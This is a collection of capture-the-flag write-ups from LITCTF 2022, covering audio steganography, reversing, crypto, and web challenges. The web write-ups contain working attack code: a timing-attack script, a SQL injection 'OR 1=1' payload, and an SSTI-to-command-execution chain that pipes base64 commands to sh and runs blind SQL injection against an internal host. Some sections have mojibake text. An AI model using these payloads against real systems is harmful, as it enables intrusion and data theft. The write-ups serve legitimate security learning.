# We're no stranger to love## Description> OMG, the LIT Music Bot is playing my favorite song on the voice channel! Why does it sound a bit off tho?## Attachments/Note> This challenge used a bot that played audio in the LITCTF discord during the time of the contest. The full audio can befound [here](https://cdn.discordapp.com/attachments/860282839492722688/1001177875531186216/FinalChallenge.mp3), but I will not be using it for the purposes of this writeup.---
## RIP RythmUpon first hearing the audio, it sounds like a normal rickroll. However, sometimes the recording will glitch out and playthe same few milliseconds over and over for a bit, and also sometimes the among us game start sound effect will play in betweensome of the glitches. (This entire sentence was not satire, seriously)
While listening, I noticed some of the glitches seemed to be longer than others, with there seeming to be 2 set lengths. The among ussfx would also play after 1 or more of the glitches. This led me to assume that the among us sfx was meant to seperate letters.
Also, near the end of the song, I heard a text-to-speech voice say "Right curly bracket", telling me the flag was definitely hiddenas letters in the audio. After waiting for the song to loop, I counted 5 among us sfx's before the text-to-speech said "Left curly bracket".This matches up with the flag prefix as well, as there are 6 letters before the curly bracket (LITCTF{...}). I assumed the last letter would be ended by thecurly bracket instead of a among us sfx as there was no reason for it to cut between a single letter.
As for the glitches, I assumed they were either morse or binary because there seemed to only be 2 possible types, one long and one short. I leaned towardmorse because the long/short pattern matched that as well.
However, I wasn't really planning on solving that challenge until later because listening to the bot over and over was actuallypretty mentally taxing.
# OTZ OTZ OTZ OTZ ETH007 OTZ OTZ OTZ OTZLike I said one line above, I planned on saving some time at the end to write down the morse by hand while listening to the bot.
However, while browsing the discord, I managed to notice a message by the great and godly Eth007.

So, as it turns out, another bot being used on the server, MEE6, had the capability to record audio in a voice channel. Though it was limitedto 2 minutes at a time, nothing was stopping me from recording multiple times, so that's exactly what I did.
## Spectrogram looks betterI had to split the recording into 3 parts, with one part overlapping and a few seconds being cut off in the middle. But in the end, I managed to get the entire song as local files, which I just put on Audacity.
In Audacity, it's still pretty hard to see the glitches normally, which I why I switched to spectrogram mode, as it makes them show up much easier.

The glitches show up as stripes because they repeat the same audio.Also, the among us sfx stands out a lot too, making decoding easier.
In this case, the above segment would translate to `.-.. .. - -.-.`, which translates to `LITC`, the first part of the flag format.We just have to repeat this for the entire song, which actually doesn't take too long as everything stands out in spectrogram.
Translating the entire message with the curly brackets, we get ```.-.. .. - -.-. - ..-. { .-. .. -.-. -.- .. ..-. .. . -.. }```which then becomes```LITCTF{RICKIFIED}```
## NotesActually in the 3 parts I only got LITCTF{RICKIF_ED} as the I got cut out, but it was fairly easy to guess from the other letters.
Also orz Eth007 for giving me a much easier way to solve the problem and I'm pretty surprised not that many people caught on to it. But I probablywouldn't have solved as easily as I did without his message <3.
 |
# Secure Website## Description> I have like so many things that I want to do, but I am not sure if I want others to see them yet D: I guess I will just hide all the super important stuff behind my super super fortified and secure Password Checker!## Attachments>[Site](http://litctf.live:31776/) [SecureWebsite.zip](https://github.com/flocto/writeups/tree/main/2022/LITCTF/SecureWebsite/src)---
## Poyo poyoUpon visiting the site, we're greeted with a simple password form:

Trying out some random passwords, we see we get redirected to a rickroll. So let's open the source and see what's going on.
# Arr Ess AyyIt seems we need to acquire the password to get the flag.First we see that when we submit a password, it gets converted to an array of numbers using RSA, and we are redirected to `/verify````html<script type="text/javascript"> // Copying the setting from the server // This is like TOTALLY secure right? var p = 3217; var q = 6451; var e = 17; // Hmmm, RSA calculator says to set these values var N = p * q; var phi = (p - 1) * (q - 1); var d = 4880753;
function submitForm() { var pwd = $("#password").val(); var arr = []; for(var i = 0;i < pwd.length;++i) { arr.push(encryptRSA(pwd.charCodeAt(i))); } window.location.href = "/verify?password=" + arr.join(); return; }
function encryptRSA(num) { return modPow(num,e,N); }
function modPow(base,exp,mod) { var result = 1; for(var i = 0;i < exp;++i) { result = (result * base) % mod; } return result; }</script>```Then on the server side, the array of numbers is converted back to characters and finally compared with the password one letter at a time.```jsapp.get('/verify', (req, res) => { var pass = req.query.password; var start = performance.now(); if(pass == undefined || typeof(pass) !== 'string' || !checkPassword(password,pass)) { res.writeHead(302, {'Location': 'about:blank'}); var now = performance.now(); // console.log(now - start); res.end(); return; } res.render("secret",{flag: flag});});// passwordChecker.jsvar p = 3217;var q = 6451;var e = 17;// Hmmm, RSA calculator says to set these valuesvar N = p * q;var phi = (p - 1) * (q - 1);var d = 4880753;
function decryptRSA(num) { return modPow(num,d,N);}
function checkPassword(password,pass) { var arr = pass.split(","); for(var i = 0;i < arr.length;++i) { arr[i] = parseInt(arr[i]); } if(arr.length != password.length) return false;
for(var i = 0;i < arr.length;++i) { var currentChar = password.charCodeAt(i); var currentInput = decryptRSA(arr[i]); if(currentChar != currentInput) return false; } return true;}
function modPow(base,exp,mod) { var result = 1; for(var i = 0;i < exp;++i) { result = (result * base) % mod; } return result;}```While this implementation of RSA obviously isn't secure, it doesn't actually leak any information about the flag.The checking process still occurs on the server, meaning we have no hints about the password or flag. So how do we attackthis problem?
# :clock9:The only suspicious part of the code at first glance is the `modPow` function.```jsfunction modPow(base,exp,mod) { var result = 1; for(var i = 0;i < exp;++i) { result = (result * base) % mod; } return result;}```This function seems **extremely** inefficient. Especially considering that when decoding, `exp` is around 5 million.Given that Javascript is obviously not some new language, there are definitely better built-in methods.
Obviously, an inefficient function also takes a relatively long time to compute.
This means that when we input a password, if this function ever gets called, we should see a significant increase in the time it takes for the server to respond.
## HindranceThere is just a small little bit before we go implementing our timing attack exploit. ```js if(arr.length != password.length) return false;
for(var i = 0;i < arr.length;++i) { var currentChar = password.charCodeAt(i); var currentInput = decryptRSA(arr[i]); if(currentChar != currentInput) return false; } return true;```If the length of our input is not equal to the password length, the decrypt function never gets called, meaning the server willreturn a result at around the same time regardless of if the letters match.
To defeat this check, we first write an exploit to find the length of the password. Thankfully, the server will always call the decryption method for the first letter as long as the lengths match, even if it does not equal the password.```pyimport requestsimport time# adapted from astro's code b/c too lazy to rewrite minedef findMax(): url='http://litctf.live:31776/verify?password=' maxes = [] curMax = (0,) for i in range(30): payload = url + ("123123123123," * i)[:-1] # random big number then = time.time() r = requests.get(payload, allow_redirects=False) now = time.time() delta = now - then if delta > curMax[0]: curMax = (delta, i) print("New current max: ") print(delta, i, payload) maxes.append((delta, i))
maxes.sort() print(maxes[::-1]) print(curMax) return maxesfindMax()```Unfortunately, because of how the server is set up, we often get false positives. This set of false positives honestly tripped meup at first because I couldn't seem to get the correct length.
Thankfully, all we have to do is run the script multiple times and seewhat length has the lowest ranking on average```pythonranks = {i:[] for i in range(1,20)}for i in range(10): print("Round", i) ranking = findMax() for place, (delta, num) in enumerate(ranking): ranks[num].append(place)for i in range(1, 20): print(i, ranks[i]) print("Average:", sum(ranks[i]) / len(ranks[i])) print()```And, as it turns out, a length of 6 had an average much much lower than any other length, meaning it's probably the actual length of the password.
# Final timingsNow that we have the length of the password, it becomes a much more simple timing attack, all we need to do is pad our input to be the length of the password.```pythonimport requestsimport time
p = 3217q = 6451e = 17
N = p * qphi = (p - 1) * (q - 1)d = 4880753
def encryptRSA(m): return pow(m, e, N)
def submit(pwd): arr = [] for i in range(len(pwd)): arr.append(encryptRSA(ord(pwd[i]))) return ",".join(map(str, arr))
assert submit("12345678") == "8272582,17059160,20555739,5510519,9465679,18442920,18644618,3444445"
url = "http://litctf.live:31776/verify?password="base = ""import stringalphabet = string.ascii_letters + string.digits # password is alphanumeric, check main.jswhile True: m = 0 mi = 0 for letter in alphabet: password = base + letter password = password.ljust(6, "_") payload = submit(password) # print(url + payload)
then = time.time() r = requests.get(url + payload, allow_redirects=False) # print(url + payload) now = time.time()
print(password, round(now - then, 2)) # print(now - then, i) # print(r.text) if now - then > m: m = now - then mi = letter
# fail is r.status_code == 302 print(r.status_code) if r.status_code == 200: print("Found:", password) exit() # print(i) # print() print(m, mi) base += mi# Found: CxIj6p```After running this script for quite a while, we are able to get our final password: `CxIj6p`.We can then login to the site and get our flag!

```LITCTF{uwu_st3ph4ni3_i5_s0_0rz_0rz_0TZ}```
## NotesAn interesting take on timing attacks using web as an interface. My only issue with this problem is the false positives when trying to find thelength of the password, which was pretty annoying because you have basically no idea what causes them. Otherwise most of the stuff is standard timing attacks implementation.
Overall still very fun! :+1: |
# Challenge description
We got the source code for this challenge with two files:**main.js**```require("dotenv").config();
const express = require('express');const bodyParser = require('body-parser');const app = express();const ejs = require("ejs");const {component, parseXML, generateArt} = require("./canvasMaker.js");
app.use(bodyParser.urlencoded({ extended: true }));
app.set('view engine', 'ejs');
app.get('/', (req, res) => { res.render("index");});
app.post('/makeArt', (req, res) => { var code = req.body.code;
var flag = `<component name="flag"> <text color="black" font="bold 10pt Arial">` + (process.env.FLAG ?? "ctf{flag}") + `</text></component>
<flag x="100" y="400"></flag> `;
var eyangComp = `<component name="EYANGOTZ"> <component name="eyes1"> <line x1="10" y1="80" x2="30" y2="60" color="#1089f5" width="20"></line> <line x1="30" y1="60" x2="60" y2="70" color="#1089f5" width="20"></line> </component> <component name="eyes2"> <line x1="110" y1="50" x2="130" y2="30" color="#1089f5" width="20"></line> <line x1="130" y1="30" x2="160" y2="40" color="#1089f5" width="20"></line> </component> <component name="mouth"> <line x1="40" y1="200" x2="50" y2="220" color="#1089f5" width="20"></line> <line x1="50" y1="220" x2="190" y2="200" color="#1089f5" width="20"></line> <line x1="190" y1="200" x2="200" y2="180" color="#1089f5" width="20"></line> </component> <text x="30" y="30" font="bold 10pt Arial">EYANG SO OTZ</text></component><EYANGOTZ x="10" y="50"></EYANGOTZ><EYANGOTZ x="350" y="100"></EYANGOTZ><EYANGOTZ x="50" y="190"></EYANGOTZ><EYANGOTZ x="130" y="200"></EYANGOTZ><EYANGOTZ x="200" y="190"></EYANGOTZ><EYANGOTZ x="150" y="300"></EYANGOTZ> `
code = "<fanart>" + flag + eyangComp + code + "</fanart>";
generateArt(code,res);});
app.listen(8080, () => { console.log("EYANG OTZ OTZ OTZ OTZ!!!");});```and **canvasMaker.js** that we don't even need to look at it.Before trying to understand anything we can take a quick look and test the website to see what's going on.So this is where we can sumbit our xml code to make some art.

If we try to just sumbit an empty code we get this :

From this :

We undrestand that we can use predefined components in our code and we know that the flag was predefinedso let's try to use it and put it in a better place so we can clearly see it.This`<flag x="50" y="50"></flag>` should do the job.

## Better solutionIt seems like not only we can use predefined components but we can also override them.So `<component name="EYANGOTZ"></component>` would just be perfect and it will work also for the patched verison of this challenge **"EYANGCH Fan Art Maker 2.0"**

# Flag : `LITCTF{wh4t_d03s_CH_1n_EyangCH_m3an???}`# N.BIt seems that this wasn't the intended solution for both challenges that's why a 3.0 version was added.
|
We get a audio file which is just a song from a video game. There's not much to "hack" so there's probably something hidden inside the audio that we need to analyze. (FYI, this is called audio steganography.) Using some google skills and research, we guess that it might be something with spectral analysis (emphasis on guess). We can use an online tool (because it's easy) to analyze the audio spectrum. Of course you could use a more advanced tool but web tools are probably sufficient. Let's use [https://academo.org/demos/spectrum-analyzer/](https://academo.org/demos/spectrum-analyzer/). Upload the MP3 file (which you can find from the Vocaroo) and press play. You'll see something like this:
So it is hidden in the spectrum! Transcribing the text, we get `K1RBY1SCOOL`. But if we wrap this in `LITCTF{}`, it doesn't work. Why? Well, notice that there's a small exclamation mark at the end, next to the `L`:

More realistically, you would've asked CodeTiger. But anyways, the part inside the curly brackets is actually `K1RBY1SCOOL!`. So the flag is `LITCTF{K1RBY1SCOOL!}`. |
# Challenge description
So we can use the credentials in the description to login:
**Username: LexMACS and Password: !codetigerORZ**After we log in we can aceess the `/home` page and we were welcomed with:If we click the morse code it will just alert the decoded string "HEHEHAW".
Taking a look at the source code we can find a link `/3ar1y-4cc35s` to download the game.Visiting the link we get this :Of course we would never click there ? because we already got rickrolled enough ?So why not to follow the steps and see what we can get.But before we do we should notice this :`Beware! This edition is very buggy and may have some surprise sound effects!`which was a hint to focus with the musci/audio files in the game.
## **Step1**So we downloaded the game and exracted the files with binwalk.`binwalk --dd ".*" trashroyale.exe`In the exacted files there was only one audio file so let's see what's in it.Through the file in audacity and we got :It's clearly a morse code (we can even get that just from playing the file).
We got the morse code `.... ...-- .... ...-- .... ...-- .... ....- .-- - .... .-. . . -.-. .-. --- .-- -.` which decodes to "H3H3H3H4WTHREECROWN".
## **Step 2 H3H3H3**After I got that string I just got stucked for a while because I thought that there is another step according to this :
So I downloaded the image and tired steghide with "H3H3H3H4WTHREECROWN" as password but I got nothing.After a while I thought maybe that was just the flag hh but when I submitted it it was wrong becasue I missed a "T" in "LITCTF" :)And I only got this because the same thing happened in Murder Mystery challenge hhh.So after spending a lot of time in a rabbit holeI got the two challenges in a minute.#### Flag : `LITCTF{H3H3H3H4WTHREECROWN}` |
Let's go to the [first link](https://lit.lhsmathcs.org/ctfres). The first half of the flag is written at the bottom of the page, and it is `LITCTF{1_h0p3_y0u_didnt_s`. Now let's go to the [second link](https://www.youtube.com/watch?v=5QCkheqOp3s&ab_channel=LexMACS). At the [33:20 mark](https://www.youtube.com/watch?v=5QCkheqOp3s&t=2000), we see the second part of the flag, which is `k1p_0ur_op3n1ng_c3r3mony}`. Finally, we see that the flag is `LITCTF{1_h0p3_y0u_didnt_sk1p_0ur_op3n1ng_c3r3mony}`. |
# Introductionะฃ ะฝะฐั ะตััั ะฟัะพะณัะฐะผะผะฐ ะบะพัะพัะฐั ะฒัะฒะพะดะธั ัััะพะบั `ะะพะฑัะพ ะฟะพะถะฐะปะพะฒะฐัั ะฝะฐ ัะตัั ะฟะพ ะผะฐัะตะผะฐัะธะบะต. ะัะปะธ ะฒั ะฟะพะปััะธัะต ะธะดะตะฐะปัะฝัะน ัะตะทัะปััะฐั, ั ัะฐัะฟะตัะฐัะฐั ัะปะฐะณ!`.
# Analyzing IDA PROะ `main()` ะทะฐะดะฐะตััั ะฒะพะฟัะพั ะธ ะฟัะพัะธั ะฒะฒะตััะธ ัะตะทัะปััะฐั:
```int __cdecl main(int argc, const char **argv, const char **envp){ int i; // [rsp+Ch] [rbp-4h]
puts("Welcome to the math test. If you get a perfect score, I will print the flag!"); puts("All questions will have non-negative integer answers.\n"); for ( i = 0; i < NUM_Q; ++i ) { printf("Question #%d: ", (unsigned int)(i + 1)); puts((&questions)[i]); __isoc99_scanf("%llu", &submitted[i]); } return grade_test();}```ะะฐะฟัะธะผะตั:

ะะพัะผะพััะธะผ ะฝะฐ ััะฝะบัะธั `grade_test()`
```int grade_test(){ int i; // [rsp+8h] [rbp-8h] unsigned int v2; // [rsp+Ch] [rbp-4h]
v2 = 0; for ( i = 0; i < NUM_Q; ++i ) { if ( submitted[i] == answers[i] ) ++v2; } printf("You got %d out of 10 right!\n", v2); if ( v2 != 10 ) return puts("If you get a 10 out of 10, I will give you the flag!"); puts("Wow! That's a perfect score!"); puts("Here's the flag:"); return generate_flag();}```
ะะณะฐ, ะตััั ะผะฐััะธะฒ `answers[i]`, ั ะบะพัะพััะผ ััะฐะฒะฝะธะฒะฐะตััั ะฝะฐั ะฒะฒะพะด.

# Solutionะะฒะตะดะตะผ ัะฐะบะธะต ะถะต ัะธัะปะฐ ะธ ะฟะพะปััะธะผ
flag is: `LITCTF{y0u_must_b3_gr8_@_m4th_i_th0ught_th4t_t3st_was_imp0ss1bl3!}` |
If we download the file, we see that it's a ZIP archive. If we unzip it, we see that it has the source code of the server, Let's look at the source code of the main server source code file, which is `main.py`:```python3import sqlite3from flask import Flask, render_template, render_template_string, redirect, url_for, request
con = sqlite3.connect('data.db', check_same_thread=False)app = Flask(__name__)
cur = con.cursor()# commentcur.execute('''DROP TABLE IF EXISTS pokemon''')cur.execute('''CREATE TABLE pokemon (names text)''')cur.execute( '''INSERT INTO pokemon (names) VALUES ("[FLAG REDACTED]") ''')
@app.route('/', methods=['GET', 'POST'])def login(): if request.method == 'POST':
name = request.form['name']
if ("'" in name or "\\" in name or '"' in name): return render_template('login.html', error="no quotes or backslashes:)") elif (name == "names"): return render_template('login.html', error="you are wrong :<") try: cur.execute("SELECT * FROM pokemon WHERE names=" + name + "") except: render_template('login.html', error="you are wrong :3") rows = cur.fetchall()
if len(rows) > 0: return render_template('login.html', error="Correct! The poekmon was " + rows[0][0]) else: return render_template('login.html', error="you are wrong :<")
return render_template('login.html', error="")```Now notice that in the `login` method, when we run `cur.execute`, the user input isn't filtered. What this means is that we can send arbitrary commands and expressions to the SQL database.
So the code will execute the sql command `SELECT * FROM pokemon WHERE names=[INSERT USER INPUT]`. Notice how there aren't quotes around `[INSERT USER INPUT]`, so we need something like a number (i.e. `1`) that doesn't need to be wrapped in quotes. But how do we get it so that it returns any data?
Since we don't know what's inside the database, we can `OR` the condition with a always true statement like `1=1` so that the condition will be true. So our payload is `1 OR 1=1`, and when it gets executed the command that's actually executed is `SELECT * FROM pokemon WHERE names=1 OR 1=1`.
When we do this, we get this output:> Correct! The poekmon was LITCTF{flagr3l4t3dt0pok3m0n0rsom3th1ng1dk}
Notice how it wasn't possible to do it just by guessing random pokemons without quotes (which would arguably count as SQL injection since it's modify the SQL command) because the pokemon was a string but there weren't quotes around it in the SQL command. Finally, we have that the flag is `LITCTF{flagr3l4t3dt0pok3m0n0rsom3th1ng1dk}`. |
# not assemblyCategory: Reverse Engineering
Score: 170 (solved by 173 teams)
Original description: Find the output and wrap it in LITCTF{} !
# Introductionะะฐะผ ะดะฐะตััั ะบะฐััะธะฝะบะฐ 
ะญัะพ ะพะฑััะฝัะน ัะธะบะป
```flag=0codetiger=23orz=4138while True: orz*=3 orz+=codetiger flag=orz orz-=9538 if orz<=0: breakflag-=3571print(flag)```
flag is: BDSEC{5149} |
This challenge has several vulnerabilities, The first vulnerability is related to the password field.
If you check the code, you will notice the vulnerability of SSTI
```pythonreturn render_template_string("ok thank you for your info i have now sold your password (" + password + ") for 2 donuts :)");```For example, if you enter the following payload```python{{2+2}}
4```There is also a sql injection vulnerability in the `data-server` project```pythonx = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"```Now we use SSTI to execute command```python{{config['__class__']['__init__']['__globals__']['os']|attr('popen')('ls')|attr('read')()}}``````shellcurl -X POST "http://litctf.live:31781" -d "username=&password={{config['__class__']['__init__']['__globals__']['os']|attr('popen')('ls')|attr('read')()}}"
ok thank you for your info i have now sold your password (main.pyrequirements.txtrun.shstatictemplates) for 2 donuts :)```
If we print the main.py file, we will encounter the address `http://172.24.0.8:8080/runquery`, this address is not accessible from the outside,and this shows that we do not have access to the `data-server` program from the outside.
In the next step, we should send requests containing sql to the address `http://172.24.0.8:8080/runquery`
```pythonimport requestsimport base64
char = list(".*+,!#$%&0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-{}")
url = "http://litctf.live:31781"internal_url = "http://172.24.0.8:8080/runquery"
ssti_payload = "{{config['__class__']['__init__']['__globals__']['os']|attr('popen')('%s')|attr('read')()}}"rce_payload = "echo {}| base64 -d | sh"python_script = "python3 -c \"import json,requests;print(requests.post('%s', data=json.dumps({'username':'%s','password':'0'}), headers={\\\"Content-type\\\": \\\"application/json\\\"}).text)\""sql_payload = "flag\\'and (Select hex(substr(password,1,{})) from users limit 1 offset 0) = hex(\\\'{}\\\')--"
flag = "LITCTF{"
for c in range(len(char)): for i in range(len(char)): tmp = flag+char[i] script = python_script % (internal_url, sql_payload.format(len(flag)+1,tmp)) script = str(base64.b64encode(script.encode("utf-8")), "utf-8") payload = ssti_payload % rce_payload.format(script) r = requests.post(url, data={"username":"","password":payload}) if "True" in r.text: flag += char[i] print("FLAG : "+ flag) break```* There are a few points in the script above * Because there is no `curl` in the server, we had to use a python script to send the request. * The server filters the character `โ.โ `, to bypass this filter I coded the script with base64.
```LITCTF{flush3d_3m0ji_o.0}``` |
# Trash Royale
## Problem Statement:Find the flag, and make sure its wrapped in LITCTF{}
Ugh, I keep forgetting my password for https://spectacle-deprive4-launder.herokuapp.com/, so I will just it here (sic).Username: LexMACS and Password: !codetigerORZ
## SolutionOpen the website, and you'll see a login page. At first, we expirmented with different login/password combos (basic SQL injection techniques) to try and break the login page but nothing worked. We moved on to logging in with the provided username and password.
Upon navigating to home, you are presented with the following page:
The first thing we saw was the morse code at the top. Clicking it, we got HEHEHEHAW. Not useful.
The webpage was unremarkable, except for the line which read `For a special few, our web developers have made the game available in early access!`. This made us search for the early access game.
Viewing the page source, one finds a hidden link:
Navigating to that url, we see a screen with an exe and an image. The image was useless (according to basic steganography). We also saw a warning that the sounds were buggy, pointing us towards finding sound files, mp3 and wav files.We downloaded the executable. When we searched for strings in the executable, we found a string called "flag.mp3". This matched up with our observation above, and we started searching for ways to get the mp3 out of the executable. When we ran the executable, the top left icon displayed a snake:
This snake was clearly the pygame logo, indicating that the executable was compiled with pyinstaller with the --onefile flag. So, we used [pyinstxtractor](https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/master/pyinstxtractor.py) to extract the contents of the executable. Once extracted, we `cd`ed into the trash-royal.exe_extracted folder:
Music files are typically stored in `/assets` so we checked the folder, and found `flag.mp3`
Playing the mp3 file gives the user a bunch of hes and haws, indicating morse code. Given that he was shorter than haw, we let he represent `.` and haw represent `_`.In order to easily see dots vs dashes, we opened the file in audacity.
The morse code was `.... ...-- .... ...-- .... ...-- .... ....- .-- - .... .-. . . -.-. .-. --- .-- -.`Translating this to english gave `H3H3H3H4WTHREECROWN`.
## Answer`LITCTF{H3H3H3H4WTHREECROWN}` |
- Undo the random power with modular inverse mod |GL(3, p)|- Take a linear combination of polynomial evaluations on 4th roots of unity to recover the sum along the diagonal- combine multiple moduli with CRT
Sage solution:```sageproof.all(False)
from pwn import remote, info, processfrom Crypto.Util.number import long_to_bytesresidues, moduli = [], []for _ in range(10): while True: info(".") n = 3 while True: try: p = random_prime(2^64) F = GF(p) # Just hope we've got a 4th root of unity mod p :) I = F(F(-1).sqrt()) break except: continue
G = GL(n, p) order = G.order()
for _ in range(20): io = remote("litctf.live", "31782") # io = process(["python3", "-u", "susschal.py"]) io.sendlineafter(b"mod: ", str(p).encode()) io.recvuntil(b" by ") power = int(io.recvline()) if gcd(power, order) != 1: # Can't invert it, give up and try another one io.close() continue evals = [] assert int(int(I) * int(I) % p) == int(p - 1) for x in [1, p - 1, I, p - I]: info("%d, %d, %d", power, order, gcd(power, order)) io.sendlineafter(b": ", str(pow(power, -1, order)).encode()) io.sendlineafter(b": ", str(x).encode()) io.recvuntil(b" encryption is ") evals.append(F(io.recvline())) io.stream() break else: continue # Find the right linear combination M = [[x^i for i in range(1, 5)] for x in [1, p - 1, I, p - I]] coeffs = Matrix(M).solve_left(vector([1, 0, 0, 0])) residues.append(int(coeffs * vector(evals))) moduli.append(p) break
print(int(crt(residues, moduli)).bit_length())print(long_to_bytes(int(crt(residues, moduli))))``` |
First, download the `math` file. It's likely a Linux executable, since this is a reversing challenge, but let's run `file ./math` to be sure:```./math: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=71fce45eb1092a34d4e5f72881177f3d14d22be1, for GNU/Linux 3.2.0, not stripped```We know that this is a executable now. What does it do? Let's try it: ```Question #1: What is 1+1?Question #2: How many sides does a square have?Question #3: What is 8*30?Question #4: What is the remainder when 39 is divided by 4?Question #5: What is the 41st fibbonaci number?Question #6: How many questions are on this test?Question #7: What number am I thinking of?Question #8: What is the answer to this question?Question #9: Prove that the answer to the previous question is correct.Question #10: Give me an integer.You got [NUMBER OF CORRECT ANSWERS] out of 10 right!If you get a 10 out of 10, I will give you the flag!```Note that I've ommitted my answers and the number of correct answers, which I've replace with `[NUMBER OF CORRECT ANSWERS]`. (Partly because the results are different for different people, and partly because I don't want people seeing my score.)
Let's look at what the assembly instructions are with`objdump -Mintel -D ./math`.Once we have it disassembled, we can look at the assembly code and the data inside the executable. Let's start from `main`:```assembly0000000000001385 <main>: 1385: 55 push rbp 1386: 48 89 e5 mov rbp,rsp 1389: 48 83 ec 10 sub rsp,0x10 138d: 48 8d 05 5c 0e 00 00 lea rax,[rip+0xe5c] # 21f0 <_IO_stdin_used+0x1f0> 1394: 48 89 c7 mov rdi,rax 1397: e8 b4 fc ff ff call 1050 <puts@plt> 139c: 48 8d 05 9d 0e 00 00 lea rax,[rip+0xe9d] # 2240 <_IO_stdin_used+0x240> 13a3: 48 89 c7 mov rdi,rax 13a6: e8 a5 fc ff ff call 1050 <puts@plt> 13ab: c7 45 fc 00 00 00 00 mov DWORD PTR [rbp-0x4],0x0 13b2: eb 6e jmp 1422 <main+0x9d> 13b4: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 13b7: 83 c0 01 add eax,0x1 13ba: 89 c6 mov esi,eax 13bc: 48 8d 05 b4 0e 00 00 lea rax,[rip+0xeb4] # 2277 <_IO_stdin_used+0x277> 13c3: 48 89 c7 mov rdi,rax 13c6: b8 00 00 00 00 mov eax,0x0 13cb: e8 90 fc ff ff call 1060 <printf@plt> 13d0: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 13d3: 48 98 cdqe 13d5: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0] 13dc: 00 13dd: 48 8d 05 1c 2f 00 00 lea rax,[rip+0x2f1c] # 4300 <questions> 13e4: 48 8b 04 02 mov rax,QWORD PTR [rdx+rax*1] 13e8: 48 89 c7 mov rdi,rax 13eb: e8 60 fc ff ff call 1050 <puts@plt> 13f0: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 13f3: 48 98 cdqe 13f5: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0] 13fc: 00 13fd: 48 8d 05 7c 2f 00 00 lea rax,[rip+0x2f7c] # 4380 <submitted> 1404: 48 01 d0 add rax,rdx 1407: 48 89 c6 mov rsi,rax 140a: 48 8d 05 75 0e 00 00 lea rax,[rip+0xe75] # 2286 <_IO_stdin_used+0x286> 1411: 48 89 c7 mov rdi,rax 1414: b8 00 00 00 00 mov eax,0x0 1419: e8 52 fc ff ff call 1070 <__isoc99_scanf@plt> 141e: 83 45 fc 01 add DWORD PTR [rbp-0x4],0x1 1422: 8b 05 38 2c 00 00 mov eax,DWORD PTR [rip+0x2c38] # 4060 <NUM_Q> 1428: 39 45 fc cmp DWORD PTR [rbp-0x4],eax 142b: 7c 87 jl 13b4 <main+0x2f> 142d: b8 00 00 00 00 mov eax,0x0 1432: e8 93 fe ff ff call 12ca <grade_test> 1437: 90 nop 1438: c9 leave 1439: c3 ret 143a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]```We can see that it does a lot of stuff, which is probably asking the question since we see a lot of `printf` and `scanf`s, then calls `grade_test` and exits.Now we want to look at `grade_test` since it probably has information about the answers (unless it's a decoy by the organizers, which it probably isn't):```assembly00000000000012ca <grade_test>: 12ca: 55 push rbp 12cb: 48 89 e5 mov rbp,rsp 12ce: 48 83 ec 10 sub rsp,0x10 12d2: c7 45 fc 00 00 00 00 mov DWORD PTR [rbp-0x4],0x0 12d9: c7 45 f8 00 00 00 00 mov DWORD PTR [rbp-0x8],0x0 12e0: eb 3d jmp 131f <grade_test+0x55> 12e2: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8] 12e5: 48 98 cdqe 12e7: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0] 12ee: 00 12ef: 48 8d 05 8a 30 00 00 lea rax,[rip+0x308a] # 4380 <submitted> 12f6: 48 8b 14 02 mov rdx,QWORD PTR [rdx+rax*1] 12fa: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8] 12fd: 48 98 cdqe 12ff: 48 8d 0c c5 00 00 00 lea rcx,[rax*8+0x0] 1306: 00 1307: 48 8d 05 72 2d 00 00 lea rax,[rip+0x2d72] # 4080 <answers> 130e: 48 8b 04 01 mov rax,QWORD PTR [rcx+rax*1] 1312: 48 39 c2 cmp rdx,rax 1315: 75 04 jne 131b <grade_test+0x51> 1317: 83 45 fc 01 add DWORD PTR [rbp-0x4],0x1 131b: 83 45 f8 01 add DWORD PTR [rbp-0x8],0x1 131f: 8b 05 3b 2d 00 00 mov eax,DWORD PTR [rip+0x2d3b] # 4060 <NUM_Q> 1325: 39 45 f8 cmp DWORD PTR [rbp-0x8],eax 1328: 7c b8 jl 12e2 <grade_test+0x18> 132a: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 132d: 89 c6 mov esi,eax 132f: 48 8d 05 34 0e 00 00 lea rax,[rip+0xe34] # 216a <_IO_stdin_used+0x16a> 1336: 48 89 c7 mov rdi,rax 1339: b8 00 00 00 00 mov eax,0x0 133e: e8 1d fd ff ff call 1060 <printf@plt> 1343: 83 7d fc 0a cmp DWORD PTR [rbp-0x4],0xa 1347: 75 2a jne 1373 <grade_test+0xa9> 1349: 48 8d 05 37 0e 00 00 lea rax,[rip+0xe37] # 2187 <_IO_stdin_used+0x187> 1350: 48 89 c7 mov rdi,rax 1353: e8 f8 fc ff ff call 1050 <puts@plt> 1358: 48 8d 05 45 0e 00 00 lea rax,[rip+0xe45] # 21a4 <_IO_stdin_used+0x1a4> 135f: 48 89 c7 mov rdi,rax 1362: e8 e9 fc ff ff call 1050 <puts@plt> 1367: b8 00 00 00 00 mov eax,0x0 136c: e8 58 fe ff ff call 11c9 <generate_flag> 1371: eb 0f jmp 1382 <grade_test+0xb8> 1373: 48 8d 05 3e 0e 00 00 lea rax,[rip+0xe3e] # 21b8 <_IO_stdin_used+0x1b8> 137a: 48 89 c7 mov rdi,rax 137d: e8 ce fc ff ff call 1050 <puts@plt> 1382: 90 nop 1383: c9 leave 1384: c3 ret```Now we see a reference to `answers`, which sounds like it might have some interesting information. If we follow the assembly code, we can see that it's loading the pointer to `answers` into `rax`, and then setting rax to the value at the address `rax + rcx`.
So what is this offset `rcx`? Well, if we look at location `12ff`, and the context (i.e. the instructions before it), we can see that it's the loop counter times 8. (If you don't get this, follow the program and see what numbers are being assigned to the registers and memory and what the program is doing with them.)
